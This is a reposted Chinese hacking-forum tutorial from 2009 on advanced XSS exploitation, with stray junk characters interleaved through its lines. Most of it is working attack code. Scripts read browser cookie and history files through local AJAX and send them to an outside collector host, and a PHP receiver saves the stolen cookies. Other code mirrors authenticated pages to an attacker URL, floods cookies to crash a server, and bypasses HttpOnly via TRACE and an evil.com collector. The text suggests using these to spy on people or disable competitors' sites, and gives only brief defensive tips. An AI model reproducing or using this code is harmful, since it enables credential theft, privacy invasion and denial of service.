XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 }/ W. k! W# F3 u: h0 ?本帖最后由 racle 于 2009-5-30 09:19 编辑
- y5 f# c0 j9 w- m7 i0 v! B2 C) X
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
6 \9 b$ [; i  G" shttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权


: g  ^, a4 {% c$ X% o/ s' O
$ o/ X. v" C- h7 {" V" K' {3 {-------------------------------------------前言---------------------------------------------------------

" u1 ]* O8 }7 S, [' h
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

9 z7 E9 T  G2 _& _* J3 K' _
) N2 `8 G% t# U6 T如果你还未具备基础XSS知识,以下几个文章建议拜读:
4 ]2 E. `( Y  v( lhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
+ c, D+ O5 E1 N# K( M( phttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
) r- _& k" Y' vhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

* S; \* N& l% }
/ S. n% f# e: I/ N

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
3 _) X* D" B$ R7 g
8 k5 X* \+ o: f# B' i  f; j希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

" r# o% x6 f. Q5 K) G' G如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
" X5 i: `6 Z( s1 d
. t1 C4 m" r# |' fBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

; w/ B2 o" Q3 sQQ ZONE,校内网XSS     感染过万QQ ZONE.
& m& }, `$ \1 u& S0 q
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
2 G/ T+ m. G8 u6 f
..........
) s/ G( }5 z, N$ c$ O+ n* [* f# A$ m  O复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


7 {  e# f5 z7 m& ]1 X. m4 h' H
' c4 @0 ]2 N6 Y4 M6 \( T跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



3 H( W9 D/ y( _6 t5 ^如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
! U* V, ^& d3 T! C0 R7 n. m0 F8 o! E
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
& Y, ?7 @& H$ j0 D
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
' d  d& q; o) V. L: X6 L# w
# k/ T7 ?: T/ C+ F1 O* E5 w

4 J) H: b# x! ~4 J7 W- ~( m, K------------------------------------------研究正题----------------------------------------------------------

- J1 _4 {; K( z9 Q- Y
8 w0 [" d& S& I# S
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
# ]3 y0 w% |( T2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
8 {. K& F; m( J1 ^% m% d4:Http-only可以采用作为COOKIES保护方式之一.



" w  d, Z; }6 m7 h( ^/ K, ^/ l7 a$ X
) u- R/ }5 N: B: p) q# M
6 t9 d6 P2 ?7 L& R(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

& \5 d, G! K/ |: Q  q; d' W2 y我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
9 t$ D. d- E" g; ]
; x9 r' i  \' F9 o  T: m4 l

; N4 O- `' |/ s/ U% j5 Z; _    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
8 H9 h$ Z9 M* M6 m4 X  Q
( g$ q; f1 p4 S: T8 [$ K1 C* g4 q
% e+ V# C+ B( v- R  \. @* ^
) X$ U7 K; U1 ?# R    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

' Z/ t+ M8 k% f9 [
. S5 N3 R; K2 o0 H( w8 F
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
; m2 S, Y4 A/ X6 |1 T
    function $(x){return document.getElementById(x)}



    function ajax_obj(){

4 O) G& m. z! c4 x# s    var request = false;
% X0 n- s( L' ?( G
2 S0 i+ ]" y$ g7 v8 }  j$ q    if(window.XMLHttpRequest) {
, w* Y  j$ d# @" w5 A! o7 V9 c2 @1 o
6 c; {, ^: {( R- x/ I; |    request = new XMLHttpRequest();
* V) }3 t, E; {9 \: m
    } else if(window.ActiveXObject) {

( B9 L7 N7 }/ R4 O6 r- _1 H    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


) _) w. ^* X7 J! m
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, x" k( D9 [0 C  ]+ P7 P) ?4 y0 ~
    for(var i=0; i<versions.length; i++) {
8 v. E1 ^. [7 ^  Z# n' N
    try {

" k8 b/ T) D  Q5 j! k0 K: b    request = new ActiveXObject(versions);
8 G/ |- R6 e( [: R& W
    } catch(e) {}

    }
, w( \7 y- S, n
1 p. {0 J! ~5 ^$ C    }
' @5 P. g! k- j: o+ d1 q
  ^; e/ K6 r) }/ b) x    return request;

6 E. i9 z8 l7 e7 [' i    }
! H* D7 q0 }' e9 X) T% h
% ~9 F, [& K5 [: Q2 V5 |/ P9 ^    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

: y2 P6 z. o3 V& L+ b, r2 x    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
9 x) G( x% L) z  ?5 N
    _x.send(argv);
0 D9 ]; b0 Y+ O8 x% @7 R$ \" h4 K  X3 C
    return _x.responseText;
1 `* |1 e! Q" A7 t; V
    }

4 I6 j& _& I& O; r% E% o

( i8 j- T- p2 e    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

8 Q) [; n8 L, k5 ?4 j  K. e    alert(txt);
9 @* @  {$ Y- b, y, ^
/ L& F( i( f2 _
/ f( ?& L# H5 h
$ o- `% n8 Y3 b) O% {9 g  {' G9 u' S    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
( K, W0 m; N" h6 F( M2 c
  i- P' B+ y- a0 C' |3 |    function $(x){return document.getElementById(x)}
6 E8 l  [6 D/ y6 G' K
9 z: H8 ?4 n) {5 O9 o

    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {
4 `& ?7 E! ]0 s
0 y. D0 V# Y/ W# B  Y9 u" M    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
" z; u, k; D5 C0 s( X* S
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
1 D: i: F. _7 a' {


+ e. V1 s/ R- a! K1 ?$ d    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

0 ^0 J+ t4 w4 ?+ X5 f8 d% u    for(var i=0; i<versions.length; i++) {

' @1 J$ b- x+ u5 y; |    try {
- w. K/ }, y# b8 h
  Q% H, W. J7 @. W5 H    request = new ActiveXObject(versions);
* S% l0 d) O3 V) _* J
; ?2 C8 p* o" C7 H" O    } catch(e) {}

, R6 P8 Z3 e0 Q9 N' [7 d8 E3 L    }
4 M* K% p7 C$ J4 D
  p7 y1 U6 S4 L; f8 |/ G, X    }
8 @: ]+ Y; H: ~6 {  C- \
    return request;
) c  \5 b" w8 t9 S$ D* m
    }

    var _x = ajax_obj();
! p$ P8 n0 [9 Q0 _0 i
    function _7or3(_m,action,argv){
7 G4 M. F( l  Q( e4 s
    _x.open(_m,action,false);

. d3 H. k2 B" K; E3 Y+ u3 e6 _    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
, s. H% D0 W" Q5 ^( K
* H# [- n, [# x4 j; o    return _x.responseText;
) z4 {! V- l; o  r9 D& O. {. q" E
$ ?* H5 m/ Q# ~2 N* R& p4 C0 O    }
1 t" H+ ~9 c* |: J1 l) q
+ j2 a# Y' |8 B. m# d
3 i- ~4 a1 u& ?6 [3 C4 J
. u6 L! W; T/ G    var txt=_7or3("GET","1/11.txt",null);

; L! X$ Z* t( e6 p1 u2 j    alert(txt);
/ R0 ]: W' c- }3 F

+ o: O  m. y' z
    </script>
/ H5 e  U: f6 r% c8 T# F复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



- j# n, A; [/ f; q; P7 ^Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
4 S/ w, C. A, g
' j. z8 C3 S) f0 a' n9 j! a- L2 l
) u0 f1 O0 n4 \- l4 i8 s5 Y
<?   

6 @7 r$ T4 |! v/*  

2 ]% O. J" P& K& F& x     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
+ G0 ]3 ]3 I' O& s
     www.inbreak.net   
5 l! m9 w1 D  [4 e
# K' l. X) L2 Q) |/ a: K     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
" e' S4 f" N% c( h; z
% f  I+ w% P" G5 U, b7 i*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
8 W' x3 J+ _7 \  `7 u) p% C' h
header("Content-type: application/kxlzx");   
& q9 x3 i1 E9 E7 m
( d+ L6 _4 B+ k, _/*  

: C/ m: H6 z5 b0 m% x! D     set header, so just download html file,and open it at local.  
( k) V3 Q" e" m
0 E' F6 P3 A: ?( x0 x1 U*/  

  E, N5 R/ k/ Z0 f* S?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
. }" V( Z8 l- @* G
</form>   

<script>   

function doMyAjax(user)   
; ~) L8 ?+ m; Q3 l( q
: B3 W4 l* k" d/ g# s{   

+ l2 W7 y, l4 ]8 o# G7 ~% lvar time = Math.random();   

/*  
- k9 C+ r* k6 M$ ~, i3 ~; [1 V
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

- y; y1 [- a7 I  D*/  

. {# R/ I! c" Vvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

( a- @- m2 S6 B" C$ ]1 b   
* z! [; ]9 F( T! m% Z  T+ j' }4 I1 \7 I8 ^
$ z3 _: H# f* S: _startRequest(strPer);   


9 k5 c1 p$ V; M0 w8 B  S( E) Y
}   

   
5 Z2 U3 B2 y- s/ F" ~3 `- l
( d+ b; e) j) J* X9 S/ dfunction Enshellcode(txt)   
8 v5 R0 P! o# V0 b, H, H
" U: p/ {) Q2 g: k  m+ D( t! @{   
" R) `% K7 e5 M, I( {6 R
var url=new String(txt);   

; S% }; R: Z+ Xvar i=0,l=0,k=0,curl="";   
3 ^& o1 V+ |  j' `, P# e
l= url.length;   

for(;i<l;i++){   

: O- B7 Z( |& z: L2 A0 L" ]6 e1 ek=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
8 P) M2 B. S0 t6 X
if (l%2){curl+="00";}else{curl+="0000";}   

" m) Z2 D( c( T3 Qcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
& U3 \0 E- n) T  B3 Y/ I4 U
return curl;   
4 ~- M3 T8 G+ H. r: z; H
}   

  H# _2 ~9 d* g6 M* t' [, I   

   

4 W8 x. X1 ~1 pvar xmlHttp;   

function createXMLHttp(){   

5 S$ l% X4 L* w2 B) V7 r     if(window.XMLHttpRequest){   
" h* n3 ?! l& D3 z5 q% N
xmlHttp = new XMLHttpRequest();           
4 W$ H8 g% F' m3 h0 _$ e: O- a
1 m, m/ ~: ?2 h1 _7 k* L% T     }   
9 n4 _+ m4 {! X5 A
     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
5 ?1 o4 C, t2 Z2 [0 [8 V
+ n; J: U$ {7 Y1 Y& g     }   

}   
2 W  F8 x8 U* \* ?4 D: H. O" o/ ]
+ I( y. F8 s% w3 K   
) r, D# H' ]: Q: h" G) @. P* m
function startRequest(doUrl){   
; k+ C0 E. l. C' k# {# j2 r
% i) C8 ~0 F" d. q4 |   
, Y  m" Z1 j; x: I
     createXMLHttp();   



( k# y! g4 U% b! E     xmlHttp.onreadystatechange = handleStateChange;   

! g8 X* q2 n9 c8 R3 y) ]. j- b
- w6 b& K! z, v  y5 l
3 ]+ V3 i0 L. @4 P     xmlHttp.open("GET", doUrl, true);   

2 h# `% L6 R; ]0 l8 [

     xmlHttp.send(null);   


0 x( O* ~% R( Q. i5 A4 I; }

) J- V/ U3 C0 U7 ?; v7 T" m
}   

" @6 _! e1 C! `% Q1 v' F8 l3 k   

function handleStateChange(){   

- p" X  P- m& J- N# _! e$ Y     if (xmlHttp.readyState == 4 ){   
7 K6 \, ]7 z# W- Z
     var strResponse = "";   
0 F, y# U6 l0 i5 @& T: ?: F
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
& W8 p1 s" F! m4 n" t) }$ G
        

     }   
7 s# A# ^3 N2 k. L5 C8 u* u
}   

7 ~& t3 n/ `) Y3 R/ A   
% v* l5 ]+ {8 _( D  K
   
. @2 g3 C$ ~& r# l0 ^' ?
/ |. V0 h# R9 u3 afunction framekxlzxPost(text)   
* u$ W: Z% e6 ?' e# v7 r
: |2 t8 i4 }  Z$ q{   

     document.getElementById("input").value = Enshellcode(text);   
. ~+ f' _5 E; m. s$ `; }( R
     document.getElementById("form").submit();   
4 L4 K. Q9 A4 \8 Q: F" a1 E
}   
; M1 ]& p% M( Y) t4 M5 t: W
" J/ K0 S7 r3 e" I6 e   
" E  f. V2 j/ ?% `1 U' Y
doMyAjax("administrator");   
! \% \/ e; Z/ E! l3 `) m
   
, F3 T% ~# q$ l% I
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  

$ [# T( s) a3 Z* u$ Vfunction createXMLHttp(){  
* N+ g& k) P& i5 o9 Y1 s3 ]
" _# `$ L6 s2 x' R     if(window.XMLHttpRequest){  

+ B7 f, B* K4 r         xmlHttp = new XMLHttpRequest();         
& y0 `' A9 e  C( m) N, u
: ]" H8 B* |, L3 g. D9 r     }  

3 ^9 M1 |- D* Y4 ^: V$ p     else if(window.ActiveXObject){  
. x  k/ y+ {4 V, S
6 w0 [- `& K$ y5 ]% c         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

+ S- U, u+ L7 h$ C     }  
5 v0 @+ E: k/ C3 Z" s4 q* G* B% F
$ i+ a3 B% n. F# G$ @}  

2 w0 s* ^3 u9 H  [   
; o' i5 l1 F2 U3 p8 H6 b3 E
function startRequest(doUrl){  

           

     createXMLHttp();  
6 ]' f+ `9 B* p1 G$ Q6 X0 ~5 J% B( z
      
/ n% r# J8 [9 i3 l8 L  F! w
# H: r% V' ~' x% ?7 y% j     xmlHttp.onreadystatechange = handleStateChange;  
/ O) u+ s3 e" t2 S% D; ^
      
8 X: j/ e( y8 x+ ?0 B; X
# ^  l' E' E- L8 F3 N% a* P     xmlHttp.open("GET", doUrl, true);  

      
9 o1 U" A2 l$ V1 W+ E1 E
7 j! a5 F% j7 U* k* d* f! T     xmlHttp.send(null);  

      
* w5 T9 [# u: t
# z8 C# d- n# O# P) D      

1 S! e7 D$ J9 P7 o}   
6 x* j0 @3 X: f1 [/ _
   

( T0 K' G# {6 w5 w& l9 m" l  Qfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
8 D1 }4 G+ y2 G+ m9 ^
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

7 B" i  L+ w8 b               
2 R7 Y) h2 J/ Q2 d. `! J0 l/ J4 A
) C8 j( R& X) N, b0 j& Y     }  
) V6 X& U' R; Z9 I+ ^7 T
% {. d8 S/ {, Q}  

* G7 ^8 ?; V3 H( u1 B# a2 G   

function doMyAjax(user,file)  

{  
  O' j' R' t; X; G8 n2 K
         var time = Math.random();  

           

' P2 U7 Y6 g( k* ]& `         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

! L0 |% \! _1 j           
, _2 I! g2 v* o0 X9 t* R
1 N( U6 Q% |& v1 T0 p         startRequest(strPer);  

$ B8 b. Z5 J2 F$ _% X/ v, t* L7 `      

}  

   

function framekxlzxPost(text)  

{  

1 K3 d0 M2 ?* G0 A& {4 H1 I8 i" ^     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
3 E5 Q# p' j$ _0 j  S1 ?
}  

   

2 D% _4 L  Y) S1 p( o( ?doMyAjax('administrator','administrator@alibaba[1].txt');  
) N7 l( B4 P8 d- C& ~1 G/ e
   
# m8 s+ ^8 e+ {1 t4 L7 D
</script>



* W7 Z0 c, D$ R+ b) Z$ W2 I
; s2 r* t& D( r- W5 }1 R0 x
a.php

% P5 A1 h' P0 \$ T' B, u

" w2 }7 u0 l7 S! |+ h<?php      

   
* ]; N+ F& A3 f2 f
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

6 ]( _7 \' ~. W( n9 w  
2 W1 H! ~1 s, M8 O" F# t
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
: t% r' |$ o( ]+ y9 }
3 i. `$ p) I  u- w8 |3 s7 Qfclose($fp);   
: q- p8 R: w: @. l
7 S3 c. o# q8 h* w! r?>
" X" ^+ @% b1 B5 p$ W! g2 F4 b复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
# K) Q# P% v6 n5 Z3 n' ?
, [/ t2 R0 @7 G' H( p& q% P/ }或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

  ~  Z0 |" L& a0 d代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
) C% S# V  v( |
0 X7 q9 V4 u# j//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
6 g3 s% X- h) I3 X
' J$ `# A1 [0 w# J6 U8 X6 p//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

  E* t' l& ^0 ~3 |' Ffunction getURL(s) {
) C  S( d" k* Y+ [
$ U) d9 b) C0 X# O  O1 W! o3 U" K/ Wvar image = new Image();
1 C# v, M% M' M2 D* A5 L
: U* x" F& _6 b7 Fimage.style.width = 0;
& }# C; W& x2 G" u/ I) C! H1 k# {
% _& V) h5 @2 f. d3 `" Gimage.style.height = 0;

image.src = s;
. D+ r5 C$ l7 F* A
}
2 e. V2 x4 ]9 H3 O" E" Y$ b
- d/ ]* u$ p1 w4 c2 i, hgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
; G' e" ~$ E6 l3 B4 x3 A; _' |4 L9 s这里引用大风的一段简单代码:<script language="javascript">
1 ~' S7 d  D9 q( x5 S: U
0 \) H2 W4 M$ q/ o$ t& _5 C% Svar metastr = "AAAAAAAAAA"; // 10 A
( N& j2 K1 A9 t/ R* A; e1 ]
var str = "";

while (str.length < 4000){

7 U6 p' C- j1 a+ m: [    str += metastr;

, K* }# O& y" j! m4 X, P8 y0 N}
4 {# c6 k: I3 |# `) v

8 W1 K3 v% _) h& v1 [0 w% Y5 c
0 W/ u4 k8 M# J! _3 k5 Sdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

! K$ I5 p6 ]( |% |详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.




6 u$ {$ ~7 D& s7 Y# ]6 E2 q: r. P
3 @0 ~5 J1 }2 B
(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
1 ?1 d7 w+ a7 q以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
' v! e& \3 E/ h, ^& K3 g
+ \. P& B' f) d: u$ n+ X  q. {<!--

function normalCookie() {

" O8 E. `2 `% g8 y. S+ Q1 |/ Sdocument.cookie = "TheCookieName=CookieValue_httpOnly";
6 T& Q0 ~0 b) J+ y8 A
alert(document.cookie);
! \: |, o: C; r( c) t( r$ ?
}
/ a% G7 l  g. v) E. P




& E' W; Y& }: u. lfunction httpOnlyCookie() {
5 |0 a# z( P% Q2 g
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
# r4 q; M! {& ~. N* `; M. g& z
alert(document.cookie);}
" n0 I' `  K: y  p0 F4 ^2 I  r  U
4 v4 F( b# v( p+ b4 Z$ \; h* G. f! \
2 o5 o- l, z* V6 [
//-->
6 \, N" p# W  T/ ~" P2 w% v
, ~2 H$ M  J* e# C$ P/ d</script>

% t! V+ R$ P6 `
" W8 D' g$ o# h5 L* @- S
  r8 b: M# Q7 y1 j! D# S, q4 b<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
+ {, K% d- p! u+ H: @' R* a
5 ^5 u& C  U6 a3 A3 E( r  T<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
8 e" P  f0 ~6 `. f9 i$ x% [复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



var request = false;
" s. i$ L" }& ?. D! }- w
        if(window.XMLHttpRequest) {
% P3 \1 `) P- E7 j) c
            request = new XMLHttpRequest();
# U7 @+ C0 f( _" B+ `
            if(request.overrideMimeType) {
  }9 [8 p1 K( s- A
                request.overrideMimeType('text/xml');

            }
, X: U% z5 `$ Y6 h8 H1 A
        } else if(window.ActiveXObject) {

% _7 m4 q# f0 B4 M' @" U            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
" \5 Q& H3 w  ^/ H6 ^+ {! b
            for(var i=0; i<versions.length; i++) {
8 R5 k9 Q( |' K! Y' c. E: ~/ ^- E1 h
: W0 w$ E1 U1 ^+ ~# ?                try {

( }3 L0 T! o$ n: C# u6 L# g: ?, F                    request = new ActiveXObject(versions);

                } catch(e) {}
# @- }1 b: A+ X% x8 r
1 }2 C! e) k) s            }
- w. f8 P5 b8 u- p$ D9 W
        }
% A) \9 [) |0 D! E6 y8 y
4 e' L/ z" C- l' W# M: r# ~" d7 cxmlHttp=request;

' g8 f3 W  }! N& E( k, k4 rxmlHttp.open("TRACE","http://www.vul.com",false);
/ w& m5 q8 i) {2 ^3 g
9 Y# e3 f, a) \) f3 {4 ZxmlHttp.send(null);

: p5 p* r8 z% x/ @8 F' _) m+ u) xxmlDoc=xmlHttp.responseText;
, v7 b+ F9 }5 p6 Z# Q/ H. B- A! v
' g+ z2 f5 S0 d4 @$ |alert(xmlDoc);
9 r' O8 b6 {' G
</script>
/ e4 ~, T$ u5 v# O/ g复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
, d! H* f. [$ R
; u* O& I$ G( t7 ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
7 F4 g% R1 L6 w* Z
$ p4 C( D7 j& ?- L5 x% uXmlHttp.open("GET","http://www.google.com",false);

. w% F; X; V7 P5 |; F  P: K% nXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
3 j+ ^3 k# c0 ^2 m: Y
XmlHttp.send(null);

; v7 C4 n$ l8 Cvar resource=xmlHttp.responseText
) H5 S9 J2 [' G7 B, |  H5 S5 C
resource.search(/cookies/);
9 I+ @; b( r5 s& w2 t
......................
# m( F4 E. U! R+ @
</script>
$ W; c; v$ L4 F: L% k. \
5 X! b( l1 X" j8 F' N; n
5 F6 p# L7 s# i- E! A

% g- E( J/ ^5 P
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
6 |9 e; s$ h. N3 ~; G
[code]

RewriteEngine On
) X8 x; [3 I. M# [3 U
3 y  ^) T4 B/ G* ZRewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]


4 H9 t. ~4 D( v3 i" ~& s, o
- Q0 R. r% ^* W( ^  k4 KSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE

...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
* w. e- P" O: z$ Y0 f1 @
' J) J8 N1 O7 u8 c& o- q6 }XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
. H) ?" l4 M2 m& m5 l! h6 w
; `9 ?$ b/ W) e</script>
